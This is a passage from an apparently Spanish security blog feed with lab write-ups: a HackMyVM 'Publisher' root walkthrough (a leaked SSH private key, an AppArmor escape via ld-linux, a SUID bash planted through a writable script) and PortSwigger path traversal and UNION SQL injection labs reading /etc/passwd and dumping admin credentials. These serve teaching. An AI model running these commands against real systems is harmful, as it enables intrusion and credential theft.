v0M04fPPBE22VsJGK1Wbi786Z0QVhnbNe6JnlLigk50DEc1WrKvHvWND0WuthNYTThiwFr
LsHpJjf7fAUXSGQfCc0Z06gFMtmhwZUuYEH9JjZbG2oLnn47BdOnumAOE/mRxDelSOv5J5
M8X1rGlGEnXqGuw917aaHPPBnSfquimQkXZ55yyI9uhtc6BrRanGRlEYPOCR18Ppcr5d96
Hx4+A+YKJ0iNuyTwAAAA90aGlua0BwdWJsaXNoZXIBAg==
-----<span class="hljs-keyword">END</span> OPENSSH PRIVATE KEY-----
</code></pre>
<p>Y ahí tenemos el <strong>id_rsa</strong> del usuario <strong>think</strong>, vamos a crearlo en nuestro sistema e intentar conectarnos por <strong>ssh</strong>.</p>
<pre><code class="lang-ruby">$ home/dh89/Desktop/hackmyvm/Publisher/content$ touch id_rsa
(pegamos el contenido del id_rsa en ese archivo creado)
$ home/dh89/Desktop/hackmyvm/Publisher/content$ chmod <span class="hljs-number">600</span> id_rsa
$ home/dh89/Desktop/hackmyvm/Publisher/content$ ssh think@192.<span class="hljs-number">168.0</span>.<span class="hljs-number">20</span> -i id_rsa
think@publisher<span class="hljs-symbol">:~</span>$ whoami
think
think@publisher<span class="hljs-symbol">:~</span>$
</code></pre>
<p>Y logramos migrar al usuario <strong>think</strong>, ahora nos toca convertirnos en el usuario <strong>root</strong>.</p>
<p>Enumerando el <strong>sistema</strong> me encuentro con un binario que tiene el permiso <strong>suid</strong> en "<strong>/usr/sbin</strong>".</p>
<pre><code class="lang-ruby">think@publisher<span class="hljs-symbol">:/usr/sbin</span>$ ls -la run_container 
-rwsr-sr-x <span class="hljs-number">1</span> root root <span class="hljs-number">16760</span> Nov <span class="hljs-number">14</span>  <span class="hljs-number">2023</span> run_container
</code></pre>
<p><strong>Investigando</strong> me encuentro que tira de otro archivo ubicado en '<strong>/opt'</strong>.</p>
<pre><code class="lang-ruby">think@publisher<span class="hljs-symbol">:/usr/sbin</span>$ ls -la /opt/run_container.sh
-rwxrwxrwx <span class="hljs-number">1</span> root root <span class="hljs-number">1715</span> Aug <span class="hljs-number">13</span> <span class="hljs-number">19</span><span class="hljs-symbol">:</span><span class="hljs-number">34</span> /opt/run_container.sh
</code></pre>
<p><strong>Ejecutándolo</strong> nos muestra lo siguiente.</p>
<pre><code class="lang-ruby">think@publisher<span class="hljs-symbol">:/usr/sbin</span>$ /opt/run_container.sh
Enter the ID of the container <span class="hljs-keyword">or</span> leave blank to create a new <span class="hljs-symbol">one:</span> (le doy enter)
<span class="hljs-symbol">OPTIONS:</span>
<span class="hljs-number">1</span>) Start Container
<span class="hljs-number">2</span>) Stop Container
<span class="hljs-number">3</span>) Restart Container
<span class="hljs-number">4</span>) Create Container
<span class="hljs-number">5</span>) Quit
Choose an action <span class="hljs-keyword">for</span> a <span class="hljs-symbol">container:</span>
</code></pre>
<p>Pero veo que no tenemos los <strong>permisos</strong>, que deberíamos.</p>
<p>Investigando enumerando la <strong>máquina</strong> me encuentro que frente a un <strong>programa</strong> que nos <strong>restringe</strong> las funcionas a algunos programas <a target="_blank" href="https://en.wikipedia.org/wiki/AppArmor"><strong>AppArmor</strong></a> -&gt; (link más info)</p>
<p>Para revisar si está activo tenemos una ruta en el <strong>sistema</strong>.</p>
<pre><code class="lang-ruby">$ think@publisher<span class="hljs-symbol">:/usr/sbin</span>$ cat /sys/<span class="hljs-class"><span class="hljs-keyword">module</span>/<span class="hljs-title">apparmor</span>/<span class="hljs-title">parameters</span>/<span class="hljs-title">enabled</span></span>
Y
</code></pre>
<p>Nos devuelve un "<strong>Y</strong>" por tanto, parece que está act<a target="_blank" href="https://en.wikipedia.org/wiki/AppArmor">ivo, si</a> hacemos un <strong>echo</strong> de <strong>$SHELL</strong> nos muestra que estamos en una <strong>bash</strong>. Más no así si lo hacemos desde un <strong>echo $0.</strong></p>
<pre><code class="lang-ruby">$ think@publisher<span class="hljs-symbol">:/usr/sbin</span>$ echo $SHELL
bash
$ think@publisher<span class="hljs-symbol">:/usr/sbin</span>$ echo $0
-ash
</code></pre>
<p>Por tanto, eso me hace pensar que estamos restringidos, podemos intentar ejecutarnos una "<strong>/bin/bash</strong>" de formas alternativas para ver si <strong>funciona</strong>.</p>
<p>Probando me <strong>encontré</strong> que ejecutándolo a través de sus <strong>librerías</strong> podemos escapar del <strong>programa</strong>.</p>
<pre><code class="lang-ruby">$ think@publisher<span class="hljs-symbol">:/usr/sbin</span>$ /lib64/ld-linux-x86-<span class="hljs-number">64</span>.so.<span class="hljs-number">2</span> /bin/bash
$ think@publisher<span class="hljs-symbol">:/usr/sbin</span>$ echo $0
/bin/bash
</code></pre>
<p>En este punto, analizando nuevamente las <strong>posibilidades</strong>. Me encontré que ya podía editar el archivo "<strong>/opt/run_container.sh</strong>" que antes no podía y como el programa "<strong>/usr/sbin/run_container"</strong> apunta a ese archivo, solo hay que agregar la línea "<strong>chmod u+s /bin/bash</strong>" al "<strong>run_container.sh</strong>" y ejecutar el "<strong>run_container</strong>".</p>
<pre><code class="lang-ruby">$ think@publisher<span class="hljs-symbol">:/usr/sbin</span>$ echo <span class="hljs-string">"chmod u+s /bin/bash"</span> &gt;&gt; <span class="hljs-regexp">/opt/run</span>_container.sh
$ think@publisher<span class="hljs-symbol">:/usr/sbin</span>$ think@publisher<span class="hljs-symbol">:/usr/sbin</span>$ run_container
</code></pre>
<pre><code class="lang-ruby">List of Docker <span class="hljs-symbol">containers:</span>
<span class="hljs-symbol">ID:</span> <span class="hljs-number">41</span>c976e507f8 <span class="hljs-params">| Name: jovial_hertz |</span> <span class="hljs-symbol">Status:</span> Up <span class="hljs-number">6</span> hours

Enter the ID of the container <span class="hljs-keyword">or</span> leave blank to create a new <span class="hljs-symbol">one:</span> (simplemente le di enter)
/opt/run_container.<span class="hljs-symbol">sh:</span> line <span class="hljs-number">16</span>: <span class="hljs-symbol">validate_container_id:</span> command <span class="hljs-keyword">not</span> found

<span class="hljs-symbol">OPTIONS:</span>
<span class="hljs-number">1</span>) Start Container
<span class="hljs-number">2</span>) Stop Container
<span class="hljs-number">3</span>) Restart Container
<span class="hljs-number">4</span>) Create Container
<span class="hljs-number">5</span>) Quit
Choose an action <span class="hljs-keyword">for</span> a <span class="hljs-symbol">container:</span> <span class="hljs-number">5</span>
Exiting...
</code></pre>
<pre><code class="lang-ruby">$ think@publisher<span class="hljs-symbol">:/usr/sbin</span>$ ls -la /bin/bash
-rwsr-xr-x <span class="hljs-number">1</span> root root <span class="hljs-number">1183448</span> Apr <span class="hljs-number">18</span>  <span class="hljs-number">2022</span> /bin/bash
$ think@publisher<span class="hljs-symbol">:/usr/sbin</span>$ bash -p
$ bash-<span class="hljs-number">5.0</span><span class="hljs-comment"># whoami</span>
root
$ bash-<span class="hljs-number">5.0</span><span class="hljs-comment">#</span>
</code></pre>
<p>Y así logramos convertirnos en el usuario <strong>root</strong>.</p>
<h1 id="heading-conclusiones">Conclusiones</h1>
<p>Máquina bastante interesante, donde explotamos un <strong>spip</strong> para poder inyectar un comando y luego salir de un contexto restringido de la aplicación <strong>AppArmor</strong>. Ya saben cualquier <strong>consulta</strong> o <strong>duda</strong>, pueden <strong>contactarme</strong> o utilizar la sesión de <strong>comentarios</strong>.</p>
]]></content:encoded></item><item><title><![CDATA[Lab*3-Path Traversal]]></title><description><![CDATA[Laboratorio 3
En este tercer laboratorio vamos a seguir aprendiendo sobre Path-Traversal continuando los laboratorios de Portswigger.

Resolución

Vemos una página web la cual vende varios artículos, como observamos el Path Traversal se ocasiona a la...]]></description><link>https://varovish.hashnode.dev/lab3-path-traversal</link><guid isPermaLink="true">https://varovish.hashnode.dev/lab3-path-traversal</guid><category><![CDATA[pathtraversal]]></category><category><![CDATA[Burpsuite  ]]></category><category><![CDATA[portswigger]]></category><dc:creator><![CDATA[Dh89]]></dc:creator><pubDate>Fri, 09 Aug 2024 21:15:50 GMT</pubDate><content:encoded><![CDATA[<hr />
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723234597843/f1c0ada3-f09a-4b8d-960a-f3aaf27fa95a.png" alt class="image--center mx-auto" /></p>
<hr />
<h1 id="heading-laboratorio-3">Laboratorio 3</h1>
<p>En este tercer <strong>laboratorio</strong> vamos a seguir aprendiendo sobre <strong>Path-Traversal</strong> continuando los laboratorios de <strong>Portswigger.</strong></p>
<hr />
<h1 id="heading-resolucion">Resolución</h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723234827937/265922d4-320f-4b39-a24b-5ac8da46ce11.png" alt class="image--center mx-auto" /></p>
<p>Vemos una <strong>página web</strong> la cual vende varios artículos, como observamos el <strong>Path Traversal</strong> se ocasiona a la hora de mostrar la una imagen, por tanto, vamos a elegir una imagen y abrirla en otra <strong>ventana</strong> e interceptarlo con <strong>Burpsuite</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723235894573/00d041f8-9c65-4218-9aaa-cf1df3dffd53.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723235962940/ea529b45-67ad-4e5d-bca1-8b26e8b9d49a.png" alt class="image--center mx-auto" /></p>
<p>Ahí vemos como se efectúa la <strong>petición</strong>, vamos a enviarlo al <strong>repetear</strong> para poder realizar las pruebas de <strong>Path Travesal</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723236109239/045a97c8-178c-41f5-8b44-3bb4296bda3d.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723236337547/73acb016-642f-4cb0-a335-38610ae64864.png" alt class="image--center mx-auto" /></p>
<p>Como se puede observar, a la hora de intentar realizar el Path Traversal nos dice que el archivo no existe con un error de "400 Bad Request", incluso intentando listarlo desde la ruta absoluta no funciona.</p>
<p>Como nos indican en el banner del <strong>laboratorio</strong>, en esta ocasión la <strong>aplicación</strong> <strong>elimina</strong> los intentos de <strong>Path Traversal</strong> de forma <strong>recursiva</strong> "../../../../". Esto es una medida de <strong>prevención</strong> para que el <strong>Path Traversal</strong> no ocurra, pero si no está bien implementado lo podemos <strong>burlar</strong>.</p>
<p>Supongamos que la <strong>aplicación</strong> borra "../" entonces cada vez que intentemos ir hacia atrás en <strong>directorios</strong>, no funcionara el problema de esto es solo <strong>eliminarlo</strong> por una <strong>única</strong> vez.</p>
<p>Para que entiendan con un ejemplo "....//" si yo coloco lo mismo que antes, pero lo pongo duplicado, es decir, con "4" <strong>puntos</strong> y dos <strong>barras.</strong> A la hora de eliminarme el <strong>Path Traversal</strong>, como solo lo está eliminando una vez debido a que yo coloque <strong>duplicado</strong>, pasaría a quedar de la siguiente forma "....//" -&gt; "../"</p>
<p>Pudiendo eludir esta <strong>seguridad</strong> y logrando ejecutar igualmente el <strong>Path Traversal</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723237640235/21c90ac8-ef0c-41c7-ab26-6b78e52d26d1.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723237655701/311ec0bb-50e5-4a21-ad19-de71473612e3.png" alt class="image--center mx-auto" /></p>
<p>Volviendo a la <strong>página</strong>, ya nos dan por finalizado el <strong>laboratorio.</strong></p>
<hr />
<h1 id="heading-conclusiones">Conclusiones</h1>
<p>En este <strong>tercer laboratorio</strong> vimos como poder eludir que nos <strong>eliminen</strong> el <strong>Path Traversal</strong>, y lograr efectuarlo de igual forma. Cualquier duda o consulta pueden contactarme o comentarlo en la zona de <strong>comentarios.</strong></p>
]]></content:encoded></item><item><title><![CDATA[Lab*2-Path Traversal]]></title><description><![CDATA[Laboratorio 2
En este segundo laboratorio vamos a seguir con Path-Traversal, siguiendo con los laboratorios de Portswigger.

Resolución

Vemos la página web, la cual parece ser una tienda donde se encuentran varios artículos. Como vemos en el banner ...]]></description><link>https://varovish.hashnode.dev/lab2-path-traversal</link><guid isPermaLink="true">https://varovish.hashnode.dev/lab2-path-traversal</guid><category><![CDATA[portswigger]]></category><category><![CDATA[pathtraversal]]></category><category><![CDATA[Burpsuite  ]]></category><dc:creator><![CDATA[Dh89]]></dc:creator><pubDate>Fri, 09 Aug 2024 00:36:55 GMT</pubDate><content:encoded><![CDATA[<hr />
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723153266090/64c8c497-0e7b-4819-a44b-e5b5ae0e6c78.png" alt class="image--center mx-auto" /></p>
<hr />
<h1 id="heading-laboratorio-2">Laboratorio 2</h1>
<p>En este segundo laboratorio vamos a seguir con <strong>Path-Traversal,</strong> siguiendo con los laboratorios de Portswigger.</p>
<hr />
<h1 id="heading-resolucion">Resolución</h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723153649262/4fc715f0-1d36-4fab-a3e9-aebd3d846206.png" alt class="image--center mx-auto" /></p>
<p>Vemos la <strong>página web,</strong> la cual parece ser una <strong>tienda</strong> donde se encuentran varios <strong>artículos</strong>. Como vemos en el banner del <strong>laboratorio</strong>, el <strong>Path Traversal</strong> se ocasiona en a la hora de mostrar las <strong>imágenes</strong>.</p>
<p>Por tanto, vamos a interceptar la <strong>petición</strong> con <strong>Burpsuite</strong> y vamos a realizar algunas <strong>pruebas</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723153847934/bb9c80a3-df03-4984-9ba7-284d23a06ec6.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723153908788/6f171a9d-51ea-45b7-ace8-c9f2e5b284fe.png" alt class="image--center mx-auto" /></p>
<p>Elegimos una <strong>imagen</strong> y lo abrimos en una nueva <strong>ventana</strong>, luego al interceptar la <strong>petición</strong> lo enviamos al <strong>Repetear</strong> del propio <strong>Burpsuite</strong> para realizar las <strong>pruebas.</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723154075978/08443ae7-7a6a-4290-b027-7d9df5ba0a93.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723154082349/3f51cb76-470f-43f3-b416-131c3baeadee.png" alt class="image--center mx-auto" /></p>
<p>Vemos como al intentar realizar el <strong>Path Traversal</strong>, nos dice que el <strong>archivo</strong> no existe. En el banner del <strong>laboratorio</strong> encontramos que la aplicacion bloquea los <strong>Path Traversal</strong>.</p>
<p>Hay diversas formas de intentar <strong>eludir</strong> este <strong>bloqueo,</strong> una de ellas es colocar directamente "<strong>/etc/passwd</strong>".</p>
<p>Esto lo que hace es buscarlo por su ruta <strong>absoluta</strong>, en lugar de <strong>retroceder</strong> algunos <strong>directorios</strong> y especificar la <strong>ruta</strong> a la que queremos <strong>apuntar</strong> "<strong>../../../../etc/passwd</strong>".</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723154310165/0e6ce932-ae4f-462d-b5ff-ef9e40256c2e.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723154329165/9da61fc7-95c5-47f4-a67e-6b58fc0e5531.png" alt class="image--center mx-auto" /></p>
<p>En este caso vemos como nos representa el <strong>contenido</strong> del archivo al cual hacemos <strong>referencia</strong> con su ruta <strong>absoluta</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723163136585/1e2a948c-99e3-4ed1-b15e-cb7bd53b5ea8.png" alt class="image--center mx-auto" /></p>
<p>Si volvemos al <strong>laboratorio,</strong> nos lo dan como <strong>finalizado.</strong></p>
<h1 id="heading-conclusiones">Conclusiones</h1>
<p>En este <strong>segundo laboratorio</strong>, vimos una de las variaciones del <strong>Path-Traversal</strong>. Con esto logramos evadir un bloqueo de la <strong>aplicación</strong> y poder <strong>burlarlo.</strong></p>
<p>Seguiremos en viendo otros métodos en futuros <strong>laboratorios</strong>, cualquier duda pueden contactarme o escribir en los <strong>comentarios</strong>.</p>
]]></content:encoded></item><item><title><![CDATA[Lab*1-Path Traversal]]></title><description><![CDATA[Laboratorio 1
En este primer laboratorio vamos a conocer como funciona el Path Traversal con un ejemplo más práctico y desarrollándolo a lo largo de los demás laboratorios que nos ofrece Portswigger

Resolución

Vemos una página similar al resto de l...]]></description><link>https://varovish.hashnode.dev/lab1-path-traversal</link><guid isPermaLink="true">https://varovish.hashnode.dev/lab1-path-traversal</guid><category><![CDATA[pathtraversal]]></category><category><![CDATA[Burpsuite  ]]></category><category><![CDATA[portswigger]]></category><dc:creator><![CDATA[Dh89]]></dc:creator><pubDate>Sat, 20 Jul 2024 14:29:16 GMT</pubDate><content:encoded><![CDATA[<hr />
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1721480610233/b0ea5beb-a19d-456f-ab52-427967d0fbbc.png" alt class="image--center mx-auto" /></p>
<hr />
<h1 id="heading-laboratorio-1">Laboratorio 1</h1>
<p>En este primer laboratorio vamos a conocer como funciona el <strong>Path Traversal</strong> con un ejemplo más práctico y <strong>desarrollándolo</strong> a lo largo de los demás laboratorios que nos ofrece <strong>Portswigger</strong></p>
<hr />
<h1 id="heading-resolucion">Resolución</h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1721480928039/1423591d-b72e-4482-a60a-405e4777b998.png" alt class="image--center mx-auto" /></p>
<p>Vemos una <strong>página</strong> similar al resto de los otros <strong>laboratorios,</strong> un listado de <strong>imágenes</strong> de lo que parece ser una <strong>tienda online.</strong> Como se pudo observar en la <strong>descripción</strong> del <strong>laboratorio,</strong> la <strong>vulnerabilidad</strong> se encuentra en la zona donde se muestran las <strong>imágenes</strong>, así que vamos a echarle un vistazo</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1721481592615/37b458b2-d346-40ef-9f51-d4c37f4fb458.png" alt class="image--center mx-auto" /></p>
<p>La página muestra las <strong>imágenes</strong> por medio de un <strong>identificador.</strong> Esto es algo común en las <strong>páginas webs,</strong> el <strong>problema</strong> viene cuando la <strong>página</strong> no está bien <strong>sanitizada</strong> y se confía en el <strong>input</strong> del <strong>usuario.</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1721481703167/8c4a42f0-1b88-46f6-91ad-d620128fbaf6.png" alt class="image--center mx-auto" /></p>
<p>Como se puede observar en la <strong>url,</strong> el <strong>identificador</strong> de la <strong>imagen</strong> es '42' y es un '.jpg' esto no tiene mucha <strong>importancia</strong>. Las <strong>imágenes</strong> y <strong>recursos</strong> de una página tienen que <strong>almacenarse</strong> en un <strong>lugar,</strong> esto quiere decir que el '<strong>?filename=42.jpg'</strong> lo que hace es <strong>apuntar</strong> a la imagen para devolver el <strong>archivo,</strong> para efectuar un <strong>Path Traversal</strong> lo que hacemos es introducir un "../../../../" en la zona donde se apunte a un <strong>archivo almacenado</strong> en alguna ruta del <strong>sistema.</strong></p>
<p>Lo que significa él "../../../" es retroceder unos <strong>directorios</strong> hacia <strong>atrás,</strong> esto lo hacemos para poder apuntar a <strong>archivos</strong> que normalmente no deberíamos poder <strong>ver</strong>, la cantidad de"../" varía, lo ideal es ir probando hasta que veamos que <strong>funciona</strong> y se ocasione el Path <strong>Traversal</strong>. Al final agregamos el archivo que estemos <strong>buscando</strong> en este caso "../../../../../../etc/passwd"</p>
<p>En este caso el <strong>laboratorio</strong> está <strong>configurado</strong> para resolverlo por medio de <strong>Burpsite,</strong> por tanto, lo abrimos e interceptamos la <strong>petición</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1721482625752/0b30b026-ac49-479d-95ef-a622507acca3.png" alt class="image--center mx-auto" /></p>
<p>Ahí lo tenemos, vamos a darle <strong>clic derecho</strong> y enviar al <strong>repeater</strong> o con <strong>Ctrl + R</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1721482684831/33ac5d07-bd10-4ed3-a55e-e259162dc7c9.png" alt class="image--center mx-auto" /></p>
<p>Listo, lo que vamos a hacer es <strong>cambiar</strong> donde pone '<strong>42.jpg'</strong> y colocar nuestro <strong>Path Traversal</strong> para <strong>apuntar</strong> <strong>al '/etc/passwd</strong>'</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1721482738745/4769dbe5-c00f-49b0-aa4f-925b4994166a.png" alt class="image--center mx-auto" /></p>
<p>Como verán, logramos <strong>retroceder</strong> algunos <strong>directorios</strong> hasta llegar a la raíz y poder apuntar hacia el archivo '<strong>passwd'</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1721482795804/7b5e6d58-fcf5-4468-bd7a-aec9302c8053.png" alt class="image--center mx-auto" /></p>
<p>Hecho esto, si regresamos a la página nos dan como finalizado el <strong>laboratorio</strong></p>
<hr />
<h1 id="heading-conclusiones">Conclusiones</h1>
<p>Con esto damos por finalizado el primer <strong>laboratorio</strong> de <strong>Path Traversal</strong> de <strong>Burpsuite,</strong> ya sabéis cualquier <strong>duda</strong> o <strong>consulta,</strong> me pueden escribir en los comentarios o <strong>contactarme.</strong></p>
]]></content:encoded></item><item><title><![CDATA[Path Traversal]]></title><description><![CDATA[Introduccion
En esta sección vamos a realizar laboratorios sobre Path-Traversal, mayormente laboratorios de Portswigger. Pese a que no se encuentra en el top OWASP, es bastante común e importante tenerlo en mente a la hora de realizar nuestras prueba...]]></description><link>https://varovish.hashnode.dev/path-traversal</link><guid isPermaLink="true">https://varovish.hashnode.dev/path-traversal</guid><category><![CDATA[pathtraversal]]></category><dc:creator><![CDATA[Dh89]]></dc:creator><pubDate>Fri, 19 Jul 2024 12:35:40 GMT</pubDate><content:encoded><![CDATA[<hr />
<h1 id="heading-introduccion">Introduccion</h1>
<p>En esta sección vamos a realizar <strong>laboratorios</strong> sobre <strong>Path-Traversal,</strong> mayormente laboratorios de <strong>Portswigger.</strong> Pese a que no se encuentra en el top <strong>OWASP, es</strong> bastante común e importante tenerlo en <strong>mente</strong> a la hora de realizar nuestras <strong>pruebas</strong></p>
<hr />
<h1 id="heading-vector-de-ataque">Vector de Ataque</h1>
<p>Normalmente, este tipo de <strong>vulnerabilidad</strong> ocurre por no <strong>segurizar</strong> de forma <strong>correcta</strong> un campo o confiar en el input del <strong>usuario.</strong></p>
<p>Esto nos va a permitir listar archivos, directorios, etc. <strong>Información</strong> que de normal no deberíamos tener <strong>acceso</strong></p>
<hr />
<h1 id="heading-conclusion">Conclusión</h1>
<p>Por tanto, vamos a ir viendo paso a paso el <strong>ataque</strong> y como vulnerarlo en los futuros <strong>laboratorios.</strong> Vamos a necesitar la ayuda de <a target="_blank" href="https://portswigger.net/burp/communitydownload"><strong>Burpsuite</strong></a> en algunos laboratorios</p>
]]></content:encoded></item><item><title><![CDATA[Lab*5-Sqli]]></title><description><![CDATA[Laboratorio 5
En este laboratorio vamos a empezar a listar información de una base de datos. Esto es útil porque puede haber credenciales, información confidencial, etc. Que nos puede ayudar en un panel de login o para recopilar información, entre ot...]]></description><link>https://varovish.hashnode.dev/lab5-sqli</link><guid isPermaLink="true">https://varovish.hashnode.dev/lab5-sqli</guid><category><![CDATA[#sqlinjection]]></category><category><![CDATA[Burpsuite  ]]></category><category><![CDATA[portswigger]]></category><dc:creator><![CDATA[Dh89]]></dc:creator><pubDate>Tue, 07 Nov 2023 10:29:04 GMT</pubDate><content:encoded><![CDATA[<hr />
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698919304/Portswigger/Sqli/lab%2A5/lab_5_kskiac.png" alt="lab5.png" /></p>
<hr />
<h1 id="heading-laboratorio-5">Laboratorio 5</h1>
<p>En este laboratorio vamos a empezar a listar información de una <strong>base de datos</strong>. Esto es útil porque puede haber <strong>credenciales</strong>, <strong>información confidencial</strong>, etc. Que nos puede ayudar en un panel de <strong>login</strong> o para recopilar información, entre otras cosas</p>
<hr />
<h1 id="heading-resolucion">Resolución</h1>
<p>Como siempre, vamos a revisar como se ve la <strong>web</strong> para empezar con el <strong>laboratorio</strong></p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698919814/Portswigger/Sqli/lab%2A5/web_gyz4t1.png" alt="web-lab.png" /></p>
<p>Vemos la página que vemos siempre, vamos a pasarlo a <strong>burpsuite</strong> para analizar la <strong>web</strong></p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698920065/Portswigger/Sqli/lab%2A5/burpweb_yt7wxg.png" alt="burpweb.png" /></p>
<p>Vamos a utilizar la query <strong>order by</strong> para ver el número de <strong>columnas</strong> y luego poder listar más información</p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698920210/Portswigger/Sqli/lab%2A5/orderby_bbpcx3.png" alt="orderby.png" /></p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698920322/Portswigger/Sqli/lab%2A5/error-web_frzldw.png" alt="errorweb.png" /></p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698920329/Portswigger/Sqli/lab%2A5/orderby2_nkgvht.png" alt="orderby2.png" /></p>
<p>Observamos que tiene 2 <strong>columnas</strong>, por tanto, vamos a realizar un <strong>union attack</strong> teniendo esto en cuenta</p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698920595/Portswigger/Sqli/lab%2A5/unionburp_ky7i0p.png" alt="unionburp.png" /></p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698920694/Portswigger/Sqli/lab%2A5/unionweb_gova55.png" alt="unionweb.png" /></p>
<p>Vamos a listar información utilizando esos dos campos que tenemos, primero antes que nada tenemos que listar todas las <strong>bases de datos</strong> del <strong>SQL,</strong> en este caso yo voy a utilizar la siguiente query para realizar esto</p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698921366/Portswigger/Sqli/lab%2A5/databasesburp_vtf77z.png" alt="databases-burp.png" /></p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698921378/Portswigger/Sqli/lab%2A5/databasesweb_kkvw0m.png" alt="databases-web.png" /></p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698921388/Portswigger/Sqli/lab%2A5/databasesweb2_inyhte.png" alt="list-databases.png" /></p>
<p>Como se puede ver, la tabla <strong>information_schema</strong>, donde listando <strong>information_schema.schemata</strong> podemos ver todas las <strong>bases de datos</strong>.
Esto nos va a resultar útil, ya que en algunos casos simplemente mirando el nombre. Podemos determinar si puede ser relevante o no. Aunque siempre es importante enumerar todo.</p>
<p>Vemos una <strong>base de datos</strong> de nombre <strong>public</strong> vamos a enumerar sus <strong>tablas</strong>, esto se puede realizar con la siguiente query</p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698925614/Portswigger/Sqli/lab%2A5/table-burp_gzfqes.png" alt="table-burp.png" /></p>
<blockquote>
<p>Obs: Esta es una <strong>query</strong> para enumerar las <strong>tablas</strong> en una <strong>base de datos</strong>, simplemente seria adecuar el nombre de la <strong>base de datos</strong></p>
</blockquote>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698925623/Portswigger/Sqli/lab%2A5/table-web_fdz0yi.png" alt="table-web.png" /></p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698925633/Portswigger/Sqli/lab%2A5/tables-sql_cjehgi.png" alt="tables.png" /></p>
<p>Vemos una <strong>tabla</strong> llamada <strong>users_jqdrtm</strong>, vamos a listar sus <strong>columnas</strong></p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698926328/Portswigger/Sqli/lab%2A5/columns-burp_bahvwf.png" alt="columns-burp.png" /></p>
<blockquote>
<p>Obs: Una <strong>query</strong> para enumerar las columnas de una <strong>tabla</strong> dada, simplemente adecuar el nombre de la <strong>base de datos</strong> y el nombre de la <strong>tabla</strong></p>
</blockquote>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698926229/Portswigger/Sqli/lab%2A5/columns-web_tqfhyg.png" alt="column-web.png" /></p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698926236/Portswigger/Sqli/lab%2A5/columns_d48rcp.png" alt="columns.png" /></p>
<p>Ahora solo nos queda enumerar los <strong>datos</strong> de esas columnas "<strong>username_xhdpez</strong>, <strong>password_tmlywp</strong>"</p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1699351983/Portswigger/Sqli/lab%2A5/final-query_ihmfan.png" alt="final-query.png" /></p>
<blockquote>
<p>Obs: En este caso, se utiliza los dos campos <strong>NULL</strong>,<strong>NULL</strong> para representar los datos. Si cambio el nombre de las <strong>columnas</strong>. Me dieron  tiempo fuera y tuve que realizar de nuevo el <strong>lab</strong>, pero la idea es la misma</p>
</blockquote>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1699352161/Portswigger/Sqli/lab%2A5/credentials_hdzmxe.png" alt="credentials.png" /></p>
<p>Vemos las <strong>credenciales</strong> del usuario <strong>administrator</strong>, vamos a comprobar si son correctas</p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1699352330/Portswigger/Sqli/lab%2A5/login_pbl3x1.png" alt="login.png" /></p>
<blockquote>
<p>Obs: El usuario es "<strong>Administrator</strong>" con la primera letra en mayuscula</p>
</blockquote>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1699352343/Portswigger/Sqli/lab%2A5/solve-lab_xpakc4.png" alt="lab-solved.png" /></p>
<hr />
<h1 id="heading-conclusion">Conclusión</h1>
<p>En este laboratorio revisamos como funcionan las <strong>querys</strong> para poder extraer datos, en este caso las credenciales del usuario <strong>Administrator</strong> para luego loguearnos en el panel de sección, cualquier consulta tienen la sección de comentarios</p>
]]></content:encoded></item><item><title><![CDATA[Lab*4-Sqli]]></title><description><![CDATA[Laboratorio 4
